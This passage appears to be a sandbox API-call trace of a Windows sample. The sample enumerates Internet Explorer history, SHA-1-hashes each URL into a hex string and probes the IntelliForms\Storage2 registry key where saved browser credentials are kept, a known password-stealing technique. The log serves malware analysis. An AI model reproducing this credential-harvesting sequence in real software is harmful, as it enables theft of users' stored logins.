lstrlenW (lpString="ABFF24B7353746") returned 14 [0097.765] lstrlenW (lpString="56") returned 2 [0097.765] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d0010 [0097.765] lstrcpyW (in: lpString1=0x71d0010, lpString2="ABFF24B7353746" | out: lpString1="ABFF24B7353746") returned="ABFF24B7353746" [0097.765] lstrcatW (in: lpString1="ABFF24B7353746", lpString2="56" | out: lpString1="ABFF24B735374656") returned="ABFF24B735374656" [0097.765] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.765] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="65") returned 2 [0097.765] lstrlenW (lpString="ABFF24B735374656") returned 16 [0097.765] lstrlenW (lpString="65") returned 2 [0097.765] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71ceee0 [0097.766] lstrcpyW (in: lpString1=0x71ceee0, lpString2="ABFF24B735374656" | out: lpString1="ABFF24B735374656") returned="ABFF24B735374656" [0097.766] lstrcatW (in: lpString1="ABFF24B735374656", lpString2="65" | out: lpString1="ABFF24B73537465665") returned="ABFF24B73537465665" [0097.766] LocalFree (hMem=0x71d0010) returned 0x0 [0097.766] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.766] lstrlenW (lpString="ABFF24B73537465665") returned 18 [0097.766] lstrlenW (lpString="54") returned 2 [0097.766] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.766] lstrcpyW (in: lpString1=0x72912f0, lpString2="ABFF24B73537465665" | out: lpString1="ABFF24B73537465665") returned="ABFF24B73537465665" [0097.766] lstrcatW (in: lpString1="ABFF24B73537465665", lpString2="54" | out: lpString1="ABFF24B7353746566554") returned="ABFF24B7353746566554" [0097.766] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.766] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0097.766] lstrlenW (lpString="ABFF24B7353746566554") returned 20 [0097.766] lstrlenW (lpString="9D") returned 2 [0097.766] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.766] lstrcpyW (in: lpString1=0x7290b70, lpString2="ABFF24B7353746566554" | out: lpString1="ABFF24B7353746566554") returned="ABFF24B7353746566554" [0097.766] lstrcatW (in: lpString1="ABFF24B7353746566554", lpString2="9D" | out: lpString1="ABFF24B73537465665549D") returned="ABFF24B73537465665549D" [0097.766] LocalFree (hMem=0x72912f0) returned 0x0 [0097.766] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.766] lstrlenW (lpString="ABFF24B73537465665549D") returned 22 [0097.766] lstrlenW (lpString="DB") returned 2 [0097.766] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.766] lstrcpyW (in: lpString1=0x72912f0, lpString2="ABFF24B73537465665549D" | out: lpString1="ABFF24B73537465665549D") returned="ABFF24B73537465665549D" [0097.766] lstrcatW (in: lpString1="ABFF24B73537465665549D", lpString2="DB" | out: lpString1="ABFF24B73537465665549DDB") returned="ABFF24B73537465665549DDB" [0097.766] LocalFree (hMem=0x7290b70) returned 0x0 [0097.766] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CB") returned 2 [0097.766] lstrlenW (lpString="ABFF24B73537465665549DDB") returned 24 [0097.766] lstrlenW (lpString="CB") returned 2 [0097.766] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.766] lstrcpyW (in: lpString1=0x7290b70, lpString2="ABFF24B73537465665549DDB" | out: lpString1="ABFF24B73537465665549DDB") returned="ABFF24B73537465665549DDB" [0097.766] lstrcatW (in: lpString1="ABFF24B73537465665549DDB", lpString2="CB" | out: lpString1="ABFF24B73537465665549DDBCB") returned="ABFF24B73537465665549DDBCB" [0097.766] LocalFree (hMem=0x72912f0) returned 0x0 [0097.766] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B0") returned 2 [0097.766] lstrlenW (lpString="ABFF24B73537465665549DDBCB") returned 26 [0097.767] lstrlenW (lpString="B0") returned 2 [0097.767] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2814970 [0097.767] lstrcpyW (in: lpString1=0x2814970, lpString2="ABFF24B73537465665549DDBCB" | out: lpString1="ABFF24B73537465665549DDBCB") returned="ABFF24B73537465665549DDBCB" [0097.767] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCB", lpString2="B0" | out: lpString1="ABFF24B73537465665549DDBCBB0") returned="ABFF24B73537465665549DDBCBB0" [0097.767] LocalFree (hMem=0x7290b70) returned 0x0 [0097.767] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0097.767] lstrlenW (lpString="ABFF24B73537465665549DDBCBB0") returned 28 [0097.767] lstrlenW (lpString="B6") returned 2 [0097.767] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815190 [0097.767] lstrcpyW (in: lpString1=0x2815190, lpString2="ABFF24B73537465665549DDBCBB0" | out: lpString1="ABFF24B73537465665549DDBCBB0") returned="ABFF24B73537465665549DDBCBB0" [0097.767] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCBB0", lpString2="B6" | out: lpString1="ABFF24B73537465665549DDBCBB0B6") returned="ABFF24B73537465665549DDBCBB0B6" [0097.767] LocalFree (hMem=0x2814970) returned 0x0 [0097.767] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.767] lstrlenW (lpString="ABFF24B73537465665549DDBCBB0B6") returned 30 [0097.767] lstrlenW (lpString="34") returned 2 [0097.767] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2814970 [0097.767] lstrcpyW (in: lpString1=0x2814970, lpString2="ABFF24B73537465665549DDBCBB0B6" | out: lpString1="ABFF24B73537465665549DDBCBB0B6") returned="ABFF24B73537465665549DDBCBB0B6" [0097.767] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCBB0B6", lpString2="34" | out: lpString1="ABFF24B73537465665549DDBCBB0B634") returned="ABFF24B73537465665549DDBCBB0B634" [0097.767] LocalFree (hMem=0x2815190) returned 0x0 [0097.767] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F4") returned 2 [0097.767] lstrlenW (lpString="ABFF24B73537465665549DDBCBB0B634") returned 32 [0097.767] lstrlenW (lpString="F4") returned 2 [0097.767] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815190 [0097.767] lstrcpyW (in: lpString1=0x2815190, lpString2="ABFF24B73537465665549DDBCBB0B634" | out: lpString1="ABFF24B73537465665549DDBCBB0B634") returned="ABFF24B73537465665549DDBCBB0B634" [0097.767] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCBB0B634", lpString2="F4" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4") returned="ABFF24B73537465665549DDBCBB0B634F4" [0097.767] LocalFree (hMem=0x2814970) returned 0x0 [0097.767] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0097.767] lstrlenW (lpString="ABFF24B73537465665549DDBCBB0B634F4") returned 34 [0097.767] lstrlenW (lpString="BB") returned 2 [0097.767] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.767] lstrcpyW (in: lpString1=0x28e7670, lpString2="ABFF24B73537465665549DDBCBB0B634F4" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4") returned="ABFF24B73537465665549DDBCBB0B634F4" [0097.767] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCBB0B634F4", lpString2="BB" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4BB") returned="ABFF24B73537465665549DDBCBB0B634F4BB" [0097.767] LocalFree (hMem=0x2815190) returned 0x0 [0097.767] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A0") returned 2 [0097.767] lstrlenW (lpString="ABFF24B73537465665549DDBCBB0B634F4BB") returned 36 [0097.768] lstrlenW (lpString="A0") returned 2 [0097.768] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.768] lstrcpyW (in: lpString1=0x28e7910, lpString2="ABFF24B73537465665549DDBCBB0B634F4BB" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4BB") returned="ABFF24B73537465665549DDBCBB0B634F4BB" [0097.768] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCBB0B634F4BB", lpString2="A0" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4BBA0") returned="ABFF24B73537465665549DDBCBB0B634F4BBA0" [0097.768] LocalFree (hMem=0x28e7670) returned 0x0 [0097.768] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0097.768] lstrlenW (lpString="ABFF24B73537465665549DDBCBB0B634F4BBA0") returned 38 [0097.768] lstrlenW (lpString="FE") returned 2 [0097.768] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.768] lstrcpyW (in: lpString1=0x28e7670, lpString2="ABFF24B73537465665549DDBCBB0B634F4BBA0" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4BBA0") returned="ABFF24B73537465665549DDBCBB0B634F4BBA0" [0097.768] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCBB0B634F4BBA0", lpString2="FE" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4BBA0FE") returned="ABFF24B73537465665549DDBCBB0B634F4BBA0FE" [0097.768] LocalFree (hMem=0x28e7910) returned 0x0 [0097.768] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0097.768] lstrlenW (lpString="ABFF24B73537465665549DDBCBB0B634F4BBA0FE") returned 40 [0097.768] lstrlenW (lpString="70") returned 2 [0097.768] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.768] lstrcpyW (in: lpString1=0x28e7910, lpString2="ABFF24B73537465665549DDBCBB0B634F4BBA0FE" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4BBA0FE") returned="ABFF24B73537465665549DDBCBB0B634F4BBA0FE" [0097.768] lstrcatW (in: lpString1="ABFF24B73537465665549DDBCBB0B634F4BBA0FE", lpString2="70" | out: lpString1="ABFF24B73537465665549DDBCBB0B634F4BBA0FE70") returned="ABFF24B73537465665549DDBCBB0B634F4BBA0FE70" [0097.768] LocalFree (hMem=0x28e7670) returned 0x0 [0097.768] CryptDestroyHash (hHash=0x7203290) returned 1 [0097.768] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.768] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.768] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.768] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.768] LocalFree (hMem=0x28e7910) returned 0x0 [0097.768] CoTaskMemFree (pv=0x7203060) [0097.768] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.768] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/KMr-C2smP.pptx", lpSrch="?") returned 0x0 [0097.769] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.769] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.769] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/KMr-C2smP.pptx") returned 50 [0097.769] CryptHashData (hHash=0x7203bc0, pbData=0x7203840, dwDataLen=0x66, dwFlags=0x0) returned 1 [0097.769] CryptGetHashParam (in: hHash=0x7203bc0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.769] CryptDestroyHash (hHash=0x7203bc0) returned 1 [0097.769] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.769] CoTaskMemFree (pv=0x7203840) [0097.769] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.769] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/sk2OI4pk.gif", lpSrch="?") returned 0x0 [0097.769] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.770] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.770] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/sk2OI4pk.gif") returned 58 [0097.770] CryptHashData (hHash=0x7203d10, pbData=0x71e6b20, dwDataLen=0x76, dwFlags=0x0) returned 1 [0097.770] CryptGetHashParam (in: hHash=0x7203d10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.770] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D9") returned 2 [0097.770] lstrlenW (lpString="") returned 0 [0097.770] lstrlenW (lpString="D9") returned 2 [0097.770] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182f50 [0097.770] lstrcpyW (in: lpString1=0x7182f50, lpString2="" | out: lpString1="") returned="" [0097.770] lstrcatW (in: lpString1="", lpString2="D9" | out: lpString1="D9") returned="D9" [0097.770] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E6") returned 2 [0097.770] lstrlenW (lpString="D9") returned 2 [0097.770] lstrlenW (lpString="E6") returned 2 [0097.770] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7720 [0097.770] lstrcpyW (in: lpString1=0x28c7720, lpString2="D9" | out: lpString1="D9") returned="D9" [0097.770] lstrcatW (in: lpString1="D9", lpString2="E6" | out: lpString1="D9E6") returned="D9E6" [0097.770] LocalFree (hMem=0x7182f50) returned 0x0 [0097.770] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0097.770] lstrlenW (lpString="D9E6") returned 4 [0097.770] lstrlenW (lpString="D6") returned 2 [0097.770] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c7680 [0097.770] lstrcpyW (in: lpString1=0x28c7680, lpString2="D9E6" | out: lpString1="D9E6") returned="D9E6" [0097.770] lstrcatW (in: lpString1="D9E6", lpString2="D6" | out: lpString1="D9E6D6") returned="D9E6D6" [0097.771] LocalFree (hMem=0x28c7720) returned 0x0 [0097.771] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E9") returned 2 [0097.771] lstrlenW (lpString="D9E6D6") returned 6 [0097.771] lstrlenW (lpString="E9") returned 2 [0097.771] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7720 [0097.771] lstrcpyW (in: lpString1=0x28c7720, lpString2="D9E6D6" | out: lpString1="D9E6D6") returned="D9E6D6" [0097.771] lstrcatW (in: lpString1="D9E6D6", lpString2="E9" | out: lpString1="D9E6D6E9") returned="D9E6D6E9" [0097.771] LocalFree (hMem=0x28c7680) returned 0x0 [0097.771] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4B") returned 2 [0097.771] lstrlenW (lpString="D9E6D6E9") returned 8 [0097.771] lstrlenW (lpString="4B") returned 2 [0097.771] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c7680 [0097.771] lstrcpyW (in: lpString1=0x28c7680, lpString2="D9E6D6E9" | out: lpString1="D9E6D6E9") returned="D9E6D6E9" [0097.771] lstrcatW (in: lpString1="D9E6D6E9", lpString2="4B" | out: lpString1="D9E6D6E94B") returned="D9E6D6E94B" [0097.771] LocalFree (hMem=0x28c7720) returned 0x0 [0097.771] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="93") returned 2 [0097.771] lstrlenW (lpString="D9E6D6E94B") returned 10 [0097.771] lstrlenW (lpString="93") returned 2 [0097.771] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71ceee0 [0097.771] lstrcpyW (in: lpString1=0x71ceee0, lpString2="D9E6D6E94B" | out: lpString1="D9E6D6E94B") returned="D9E6D6E94B" [0097.771] lstrcatW (in: lpString1="D9E6D6E94B", lpString2="93" | out: lpString1="D9E6D6E94B93") returned="D9E6D6E94B93" [0097.771] LocalFree (hMem=0x28c7680) returned 0x0 [0097.771] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="94") returned 2 [0097.771] lstrlenW (lpString="D9E6D6E94B93") returned 12 [0097.771] lstrlenW (lpString="94") returned 2 [0097.771] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.771] lstrcpyW (in: lpString1=0x71d0010, lpString2="D9E6D6E94B93" | out: lpString1="D9E6D6E94B93") returned="D9E6D6E94B93" [0097.771] lstrcatW (in: lpString1="D9E6D6E94B93", lpString2="94" | out: lpString1="D9E6D6E94B9394") returned="D9E6D6E94B9394" [0097.771] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.771] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0097.771] lstrlenW (lpString="D9E6D6E94B9394") returned 14 [0097.771] lstrlenW (lpString="E5") returned 2 [0097.771] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71ceee0 [0097.771] lstrcpyW (in: lpString1=0x71ceee0, lpString2="D9E6D6E94B9394" | out: lpString1="D9E6D6E94B9394") returned="D9E6D6E94B9394" [0097.771] lstrcatW (in: lpString1="D9E6D6E94B9394", lpString2="E5" | out: lpString1="D9E6D6E94B9394E5") returned="D9E6D6E94B9394E5" [0097.771] LocalFree (hMem=0x71d0010) returned 0x0 [0097.771] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F9") returned 2 [0097.771] lstrlenW (lpString="D9E6D6E94B9394E5") returned 16 [0097.771] lstrlenW (lpString="F9") returned 2 [0097.772] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.772] lstrcpyW (in: lpString1=0x71d0010, lpString2="D9E6D6E94B9394E5" | out: lpString1="D9E6D6E94B9394E5") returned="D9E6D6E94B9394E5" [0097.772] lstrcatW (in: lpString1="D9E6D6E94B9394E5", lpString2="F9" | out: lpString1="D9E6D6E94B9394E5F9") returned="D9E6D6E94B9394E5F9" [0097.772] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.772] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E3") returned 2 [0097.772] lstrlenW (lpString="D9E6D6E94B9394E5F9") returned 18 [0097.772] lstrlenW (lpString="E3") returned 2 [0097.772] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.772] lstrcpyW (in: lpString1=0x7290b70, lpString2="D9E6D6E94B9394E5F9" | out: lpString1="D9E6D6E94B9394E5F9") returned="D9E6D6E94B9394E5F9" [0097.772] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9", lpString2="E3" | out: lpString1="D9E6D6E94B9394E5F9E3") returned="D9E6D6E94B9394E5F9E3" [0097.772] LocalFree (hMem=0x71d0010) returned 0x0 [0097.772] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0A") returned 2 [0097.772] lstrlenW (lpString="D9E6D6E94B9394E5F9E3") returned 20 [0097.772] lstrlenW (lpString="0A") returned 2 [0097.772] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.772] lstrcpyW (in: lpString1=0x72912f0, lpString2="D9E6D6E94B9394E5F9E3" | out: lpString1="D9E6D6E94B9394E5F9E3") returned="D9E6D6E94B9394E5F9E3" [0097.772] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E3", lpString2="0A" | out: lpString1="D9E6D6E94B9394E5F9E30A") returned="D9E6D6E94B9394E5F9E30A" [0097.772] LocalFree (hMem=0x7290b70) returned 0x0 [0097.772] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0097.772] lstrlenW (lpString="D9E6D6E94B9394E5F9E30A") returned 22 [0097.772] lstrlenW (lpString="DE") returned 2 [0097.772] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.772] lstrcpyW (in: lpString1=0x7290b70, lpString2="D9E6D6E94B9394E5F9E30A" | out: lpString1="D9E6D6E94B9394E5F9E30A") returned="D9E6D6E94B9394E5F9E30A" [0097.772] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30A", lpString2="DE" | out: lpString1="D9E6D6E94B9394E5F9E30ADE") returned="D9E6D6E94B9394E5F9E30ADE" [0097.772] LocalFree (hMem=0x72912f0) returned 0x0 [0097.772] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E9") returned 2 [0097.772] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADE") returned 24 [0097.772] lstrlenW (lpString="E9") returned 2 [0097.772] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.772] lstrcpyW (in: lpString1=0x72912f0, lpString2="D9E6D6E94B9394E5F9E30ADE" | out: lpString1="D9E6D6E94B9394E5F9E30ADE") returned="D9E6D6E94B9394E5F9E30ADE" [0097.772] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADE", lpString2="E9" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE9") returned="D9E6D6E94B9394E5F9E30ADEE9" [0097.772] LocalFree (hMem=0x7290b70) returned 0x0 [0097.772] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8B") returned 2 [0097.772] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE9") returned 26 [0097.772] lstrlenW (lpString="8B") returned 2 [0097.772] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815190 [0097.772] lstrcpyW (in: lpString1=0x2815190, lpString2="D9E6D6E94B9394E5F9E30ADEE9" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE9") returned="D9E6D6E94B9394E5F9E30ADEE9" [0097.773] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE9", lpString2="8B" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B") returned="D9E6D6E94B9394E5F9E30ADEE98B" [0097.773] LocalFree (hMem=0x72912f0) returned 0x0 [0097.773] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.773] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE98B") returned 28 [0097.773] lstrlenW (lpString="34") returned 2 [0097.773] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2814970 [0097.773] lstrcpyW (in: lpString1=0x2814970, lpString2="D9E6D6E94B9394E5F9E30ADEE98B" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B") returned="D9E6D6E94B9394E5F9E30ADEE98B" [0097.773] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE98B", lpString2="34" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34") returned="D9E6D6E94B9394E5F9E30ADEE98B34" [0097.773] LocalFree (hMem=0x2815190) returned 0x0 [0097.773] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.773] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE98B34") returned 30 [0097.773] lstrlenW (lpString="DA") returned 2 [0097.773] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815190 [0097.773] lstrcpyW (in: lpString1=0x2815190, lpString2="D9E6D6E94B9394E5F9E30ADEE98B34" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34") returned="D9E6D6E94B9394E5F9E30ADEE98B34" [0097.773] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34", lpString2="DA" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA" [0097.773] LocalFree (hMem=0x2814970) returned 0x0 [0097.773] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0097.773] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE98B34DA") returned 32 [0097.773] lstrlenW (lpString="2E") returned 2 [0097.773] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2814970 [0097.773] lstrcpyW (in: lpString1=0x2814970, lpString2="D9E6D6E94B9394E5F9E30ADEE98B34DA" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA" [0097.773] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA", lpString2="2E" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E" [0097.773] LocalFree (hMem=0x2815190) returned 0x0 [0097.773] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2B") returned 2 [0097.773] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE98B34DA2E") returned 34 [0097.773] lstrlenW (lpString="2B") returned 2 [0097.773] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.773] lstrcpyW (in: lpString1=0x28e7910, lpString2="D9E6D6E94B9394E5F9E30ADEE98B34DA2E" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E" [0097.773] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E", lpString2="2B" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2B") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2B" [0097.773] LocalFree (hMem=0x2814970) returned 0x0 [0097.773] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0097.773] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2B") returned 36 [0097.773] lstrlenW (lpString="BE") returned 2 [0097.773] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.773] lstrcpyW (in: lpString1=0x28e7670, lpString2="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2B" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2B") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2B" [0097.773] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2B", lpString2="BE" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE") 